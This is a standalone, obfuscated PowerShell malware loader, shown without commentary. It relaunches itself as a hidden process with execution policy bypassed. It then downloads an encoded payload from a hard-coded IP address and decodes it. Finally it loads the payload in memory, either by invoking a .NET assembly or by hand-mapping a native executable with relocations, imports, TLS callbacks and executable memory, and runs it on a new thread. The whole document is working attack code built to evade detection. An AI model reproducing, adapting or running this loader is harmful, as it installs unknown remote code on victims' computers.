$ErrorActionPreference='Stop'
if(@($args) -notcontains '-go'){;try{;$ps141182=Join-Path $env:SystemRoot 'System32\WindowsPowerShell\v1.0\powershell.exe';$sn141182=Join-Path $env:SystemRoot 'Sysnative\WindowsPowerShell\v1.0\powershell.exe';if('1' -eq '1' -and [IntPtr]::Size -ne 8 -and (Test-Path -LiteralPath $sn141182)){$ps141182=$sn141182};$self141182=$MyInvocation.MyCommand.Path;if($self141182){;$cmd141182='"'+$ps141182+'" -nop -w hidden -ep bypass -File "'+$self141182+'" -go';foreach($a141182 in @($args)){$cmd141182 += ' "'+$a141182+'"'};Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class H141182{[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct SI{public int cb;public IntPtr reserved,desktop,title;public int x,y,xs,ys,xc,yc,fill,flags;public short show,reserved2;public IntPtr reserved3,inH,outH,errH;}[StructLayout(LayoutKind.Sequential)]public struct PI{public IntPtr hProcess,hThread;public int pid,tid;}[DllImport("kernel32.dll",SetLastError=true,CharSet=CharSet.Unicode)]static extern bool CreateProcessW(string app,string cmd,IntPtr pa,IntPtr ta,bool inherit,uint flags,IntPtr env,string dir,ref SI si,out PI pi);public static int Run(string command){SI si=new SI();si.cb=Marshal.SizeOf(typeof(SI));si.flags=1;PI pi;uint flags=0x09000200;if(!CreateProcessW(null,command,IntPtr.Zero,IntPtr.Zero,false,flags,IntPtr.Zero,null,ref si,out pi)){flags=0x08000000;if(!CreateProcessW(null,command,IntPtr.Zero,IntPtr.Zero,false,flags,IntPtr.Zero,null,ref si,out pi))return 0;}return pi.pid;}}';if([H141182]::Run($cmd141182) -gt 0){exit 0};};}catch{};}
try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{}
$ProgressPreference='SilentlyContinue'
$Bkkui4b=New-Object Net.WebClient
$Bkkui4b.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
$xNXKylc4PaYB=$null;for($DYtO6TnSX3xbo=1;$DYtO6TnSX3xbo -le 8 -and -not $xNXKylc4PaYB;$DYtO6TnSX3xbo++){try{$xNXKylc4PaYB=$Bkkui4b.DownloadData('http://23.94.145.229/e/692a7d50aaf0/f79a87d7164fd6e179e8911193204194')}catch{Start-Sleep -Seconds 2}}
if(-not $xNXKylc4PaYB -or $xNXKylc4PaYB.Length -lt 64){return}
$an898684=New-Object Reflection.AssemblyName('N898684');$ab898684=[AppDomain]::CurrentDomain.DefineDynamicAssembly($an898684,[Reflection.Emit.AssemblyBuilderAccess]::Run);$mo898684=$ab898684.DefineDynamicModule('m898684');$tb898684=$mo898684.DefineType('T898684',[Reflection.TypeAttributes]'Public,BeforeFieldInit');$at898684=[Reflection.MethodAttributes]'Public,Static';$cv898684=[Reflection.CallingConventions]::Standard;$wn898684=[Runtime.InteropServices.CallingConvention]::Winapi;$au898684=[Runtime.InteropServices.CharSet]::Auto;$un898684=[Runtime.InteropServices.CharSet]::Unicode;$as898684=[Runtime.InteropServices.CharSet]::Ansi;function PI898684($n,$dll,$ret,$ps,$cs){$m=$tb898684.DefinePInvokeMethod($n,$dll,$at898684,$cv898684,$ret,$ps,$wn898684,$cs);$m.SetImplementationFlags([Reflection.MethodImplAttributes]::PreserveSig)};PI898684 'VirtualAlloc' 'kernel32.dll' ([IntPtr]) ([type[]]@([IntPtr],[UIntPtr],[uint32],[uint32])) $au898684;PI898684 'VirtualProtect' 'kernel32.dll' ([bool]) ([type[]]@([IntPtr],[UIntPtr],[uint32],[uint32].MakeByRefType())) $au898684;PI898684 'CreateThread' 'kernel32.dll' ([IntPtr]) ([type[]]@([IntPtr],[UIntPtr],[IntPtr],[IntPtr],[uint32],[uint32].MakeByRefType())) $au898684;PI898684 'LoadLibraryA' 'kernel32.dll' ([IntPtr]) ([type[]]@([string])) $as898684;PI898684 'GetProcAddress' 'kernel32.dll' ([IntPtr]) ([type[]]@([IntPtr],[string])) $as898684;PI898684 'MsiOpenDatabase' 'msi.dll' ([uint32]) ([type[]]@([string],[IntPtr],[uint32].MakeByRefType())) $un898684;PI898684 'MsiDatabaseOpenView' 'msi.dll' ([uint32]) ([type[]]@([uint32],[string],[uint32].MakeByRefType())) $un898684;PI898684 'MsiViewExecute' 'msi.dll' ([uint32]) ([type[]]@([uint32],[uint32])) $au898684;PI898684 'MsiViewFetch' 'msi.dll' ([uint32]) ([type[]]@([uint32],[uint32].MakeByRefType())) $au898684;PI898684 'MsiRecordReadStream' 'msi.dll' ([uint32]) ([type[]]@([uint32],[uint32],[IntPtr],[int32].MakeByRefType())) $au898684;PI898684 'MsiCloseHandle' 'msi.dll' ([uint32]) ([type[]]@([uint32])) $au898684;$iRc2vae47bXS=$tb898684.CreateType()
$w6101=[int]$xNXKylc4PaYB[0];$f1491=[int]$xNXKylc4PaYB[1];$t1637=[int]$xNXKylc4PaYB[2];$n7813=[int](($xNXKylc4PaYB.Length - 4) / $w6101);$o1715=New-Object byte[] $n7813;for($r7021=0;$r7021 -lt $n7813;$r7021++){$o1715[$r7021]=$xNXKylc4PaYB[4 + ($r7021 * $w6101) + $f1491]};if($t1637 -ne 0){for($r7021=0;$r7021 -lt [int]($n7813 / 2);$r7021++){$a2937=$o1715[$r7021];$o1715[$r7021]=$o1715[$n7813-1-$r7021];$o1715[$n7813-1-$r7021]=$a2937}};$xNXKylc4PaYB=$o1715
$xNXKylc4PaYB=[byte[]]$xNXKylc4PaYB;$e7796=[BitConverter]::ToInt32($xNXKylc4PaYB,60);$m7015=[BitConverter]::ToUInt16($xNXKylc4PaYB,$e7796+24);$d1514=if($m7015 -eq 523){$e7796+136}else{$e7796+120};$c7557=[BitConverter]::ToUInt32($xNXKylc4PaYB,$d1514+112);if($c7557 -ne 0){;$a5750=[Reflection.Assembly]::Load($xNXKylc4PaYB);$n6661=$a5750.EntryPoint;if($n6661){if($n6661.GetParameters().Length -eq 0){[void]$n6661.Invoke($null,$null)}else{[void]$n6661.Invoke($null,@(,@()))}};while($true){Start-Sleep -Seconds 30};}else{;$f2282=[BitConverter]::ToInt32($xNXKylc4PaYB,60);$z8930=([BitConverter]::ToUInt16($xNXKylc4PaYB,$f2282+24) -eq 523);if($z8930 -ne ([IntPtr]::Size -eq 8)){throw 'arch'};$o3198=$f2282+24;$en2173=[BitConverter]::ToUInt32($xNXKylc4PaYB,$o3198+16);$sz7795=[BitConverter]::ToUInt32($xNXKylc4PaYB,$o3198+56);$hd4889=[BitConverter]::ToUInt32($xNXKylc4PaYB,$o3198+60);if($z8930){$pr9182=[BitConverter]::ToInt64($xNXKylc4PaYB,$o3198+24)}else{$pr9182=[int64][BitConverter]::ToUInt32($xNXKylc4PaYB,$o3198+28)};$mm6572=$iRc2vae47bXS::VirtualAlloc([IntPtr]::new([int64]$pr9182),[UIntPtr]::new([uint64]$sz7795),[uint32]12288,[uint32]4);$dl3525=[int64]0;if($mm6572 -eq [IntPtr]::Zero){$mm6572=$iRc2vae47bXS::VirtualAlloc([IntPtr]::Zero,[UIntPtr]::new([uint64]$sz7795),[uint32]12288,[uint32]4);if($mm6572 -eq [IntPtr]::Zero){throw 'alloc'};$dl3525=$mm6572.ToInt64()-[int64]$pr9182};function rv6081($b,$r){$elf=[BitConverter]::ToInt32($b,60);$ns=[BitConverter]::ToUInt16($b,$elf+6);$so=[BitConverter]::ToUInt16($b,$elf+20);$se=$elf+24+$so;for($k=0;$k -lt $ns;$k++){$ss=$se+$k*40;$va=[BitConverter]::ToUInt32($b,$ss+12);$vz=[BitConverter]::ToUInt32($b,$ss+8);$rw=[BitConverter]::ToUInt32($b,$ss+20);$rz=[BitConverter]::ToUInt32($b,$ss+16);$sp=$vz;if($rz -gt $sp){$sp=$rz};if($r -ge $va -and $r -lt ($va+$sp)){return [int]($rw+($r-$va))}};if($r -lt 4096){return [int]$r};return -1};if($dl3525 -ne 0){;$rf5481=[BitConverter]::ToInt32($xNXKylc4PaYB,60);$rd2696=if($z8930){$rf5481+136}else{$rf5481+120};$rr4743=[BitConverter]::ToUInt32($xNXKylc4PaYB,$rd2696+40);$rs8353=[BitConverter]::ToUInt32($xNXKylc4PaYB,$rd2696+44);if($rr4743 -ne 0 -and $rs8353 -ge 8){;$ro7667=rv6081 $xNXKylc4PaYB $rr4743;if($ro7667 -ge 0){;$re3591=$ro7667+[int]$rs8353;while(($ro7667+8) -le $re3591){;$rp6293=[BitConverter]::ToUInt32($xNXKylc4PaYB,$ro7667);$rb8849=[BitConverter]::ToUInt32($xNXKylc4PaYB,$ro7667+4);if($rb8849 -lt 8){break};$rn9459=[int](($rb8849-8)/2);for($rj4410=0;$rj4410 -lt $rn9459;$rj4410++){;$rx4311=[BitConverter]::ToUInt16($xNXKylc4PaYB,$ro7667+8+$rj4410*2);$rt9580=$rx4311 -shr 12;$ry5557=$rx4311 -band 4095;$ru5260=rv6081 $xNXKylc4PaYB ($rp6293+[uint32]$ry5557);if($ru5260 -lt 0){continue};if($rt9580 -eq 3){$r38297=[uint32]($dl3525 -band 4294967295);$rc9174=[BitConverter]::ToUInt32($xNXKylc4PaYB,$ru5260);$rq8399=[BitConverter]::GetBytes([uint32](([uint64]$rc9174+[uint64]$r38297) -band 4294967295));[Buffer]::BlockCopy($rq8399,0,$xNXKylc4PaYB,$ru5260,4)};elseif($rt9580 -eq 10){$rc9174=[BitConverter]::ToInt64($xNXKylc4PaYB,$ru5260);$rq8399=[BitConverter]::GetBytes([int64]($rc9174+$dl3525));[Buffer]::BlockCopy($rq8399,0,$xNXKylc4PaYB,$ru5260,8)};};$ro7667=$ro7667+[int]$rb8849;};};};};function ascii5285($b,$o){$e=$o;while($e -lt $b.Length -and $b[$e] -ne 0){$e++};return [Text.Encoding]::ASCII.GetString($b,$o,$e-$o)};$if3058=[BitConverter]::ToInt32($xNXKylc4PaYB,60);$id5614=if($z8930){$if3058+136}else{$if3058+120};$ir9044=[BitConverter]::ToUInt32($xNXKylc4PaYB,$id5614+8);if($ir9044 -ne 0){;$im5297=rv6081 $xNXKylc4PaYB $ir9044;if($im5297 -ge 0){;while([BitConverter]::ToUInt32($xNXKylc4PaYB,$im5297+12) -ne 0){;$io8921=[BitConverter]::ToUInt32($xNXKylc4PaYB,$im5297);$in1809=[BitConverter]::ToUInt32($xNXKylc4PaYB,$im5297+12);$it9394=[BitConverter]::ToUInt32($xNXKylc4PaYB,$im5297+16);$ih7776=$iRc2vae47bXS::LoadLibraryA((ascii5285 $xNXKylc4PaYB (rv6081 $xNXKylc4PaYB $in1809)));$il2841=rv6081 $xNXKylc4PaYB $(if($io8921 -ne 0){$io8921}else{$it9394});$ia3811=rv6081 $xNXKylc4PaYB $it9394;for($ix8017=0;;$ix8017++){;if($z8930){$iv1404=[BitConverter]::ToInt64($xNXKylc4PaYB,$il2841+$ix8017*8);if($iv1404 -eq 0){break};if($iv1404 -lt 0){continue};$is6247=ascii5285 $xNXKylc4PaYB ((rv6081 $xNXKylc4PaYB ([uint32]$iv1404))+2);if($is6247 -eq 'ExitProcess'){$is6247='ExitThread'};$ip4012=$iRc2vae47bXS::GetProcAddress($ih7776,$is6247);$iq8588=[BitConverter]::GetBytes($ip4012.ToInt64())}else{$iv1404=[BitConverter]::ToUInt32($xNXKylc4PaYB,$il2841+$ix8017*4);if($iv1404 -eq 0){break};if(($iv1404 -band 2147483648) -ne 0){continue};$is6247=ascii5285 $xNXKylc4PaYB ((rv6081 $xNXKylc4PaYB $iv1404)+2);if($is6247 -eq 'ExitProcess'){$is6247='ExitThread'};$ip4012=$iRc2vae47bXS::GetProcAddress($ih7776,$is6247);$iq8588=[BitConverter]::GetBytes($ip4012.ToInt32())};[Buffer]::BlockCopy($iq8588,0,$xNXKylc4PaYB,$ia3811+$ix8017*$iq8588.Length,$iq8588.Length);};$im5297=$im5297+20;};};};if([int]$hd4889 -gt $xNXKylc4PaYB.Length){$hd4889=$xNXKylc4PaYB.Length};[Runtime.InteropServices.Marshal]::Copy($xNXKylc4PaYB,0,$mm6572,[int]$hd4889);$ns7938=[BitConverter]::ToUInt16($xNXKylc4PaYB,$f2282+6);$sh2897=[BitConverter]::ToUInt16($xNXKylc4PaYB,$f2282+20);$sc5557=$f2282+24+$sh2897;for($i3972=0;$i3972 -lt $ns7938;$i3972++){;$s7837=$sc5557+$i3972*40;$vz8844=[BitConverter]::ToUInt32($xNXKylc4PaYB,$s7837+8);$va6697=[BitConverter]::ToUInt32($xNXKylc4PaYB,$s7837+12);$rz7092=[BitConverter]::ToUInt32($xNXKylc4PaYB,$s7837+16);$rw4714=[BitConverter]::ToUInt32($xNXKylc4PaYB,$s7837+20);$nc3342=[int]$rz7092;if($vz8844 -lt $rz7092){$nc3342=[int]$vz8844};if($nc3342 -le 0 -or $rw4714 -eq 0){continue};if(([int64]$rw4714+$nc3342) -gt $xNXKylc4PaYB.Length){continue};[Runtime.InteropServices.Marshal]::Copy($xNXKylc4PaYB,[int]$rw4714,[IntPtr]::new($mm6572.ToInt64()+[int64]$va6697),$nc3342);};$ol2522=[uint32]0;[void]$iRc2vae47bXS::VirtualProtect($mm6572,[UIntPtr]::new([uint64]$sz7795),[uint32]64,[ref]$ol2522);try{Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class P656389{[StructLayout(LayoutKind.Sequential)]struct BI{public IntPtr a,peb,b,c,id,d;}[DllImport("ntdll.dll")]static extern int NtQueryInformationProcess(IntPtr p,int c,ref BI i,int n,out int r);[UnmanagedFunctionPointer(CallingConvention.StdCall)]delegate void Tls(IntPtr m,uint reason,IntPtr x);public static void Base(IntPtr image,int off){BI i=new BI();int r;NtQueryInformationProcess((IntPtr)(-1),0,ref i,Marshal.SizeOf(typeof(BI)),out r);if(i.peb!=IntPtr.Zero)Marshal.WriteIntPtr(i.peb,off,image);}public static void Call(IntPtr fp,IntPtr mod){((Tls)Marshal.GetDelegateForFunctionPointer(fp,typeof(Tls)))(mod,1,IntPtr.Zero);}}'}catch{};try{if($z8930){[P656389]::Base($mm6572,16)}else{[P656389]::Base($mm6572,8)}}catch{};$pd4432=if($z8930){[BitConverter]::ToInt32($xNXKylc4PaYB,60)+208}else{[BitConverter]::ToInt32($xNXKylc4PaYB,60)+192};$tl3195=[BitConverter]::ToUInt32($xNXKylc4PaYB,$pd4432);if($tl3195 -ne 0){;$tf4486=rv6081 $xNXKylc4PaYB $tl3195;if($tf4486 -ge 0){;$cb3345=if($z8930){[BitConverter]::ToInt64($xNXKylc4PaYB,$tf4486+24)}else{[int64][BitConverter]::ToUInt32($xNXKylc4PaYB,$tf4486+12)};while($cb3345 -ne 0){;$fn6536=if($z8930){[Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]::new($cb3345))}else{[int64][Runtime.InteropServices.Marshal]::ReadInt32([IntPtr]::new($cb3345))};if($fn6536 -eq 0){break};try{[P656389]::Call([IntPtr]::new($fn6536),$mm6572)}catch{};if($z8930){$cb3345=$cb3345+8}else{$cb3345=$cb3345+4};};};};$ti4237=[uint32]0;[void]$iRc2vae47bXS::CreateThread([IntPtr]::Zero,[UIntPtr]::Zero,[IntPtr]::new($mm6572.ToInt64()+[int64]$en2173),[IntPtr]::Zero,[uint32]0,[ref]$ti4237);while($true){Start-Sleep -Seconds 30};}
while($true){Start-Sleep -Seconds 30}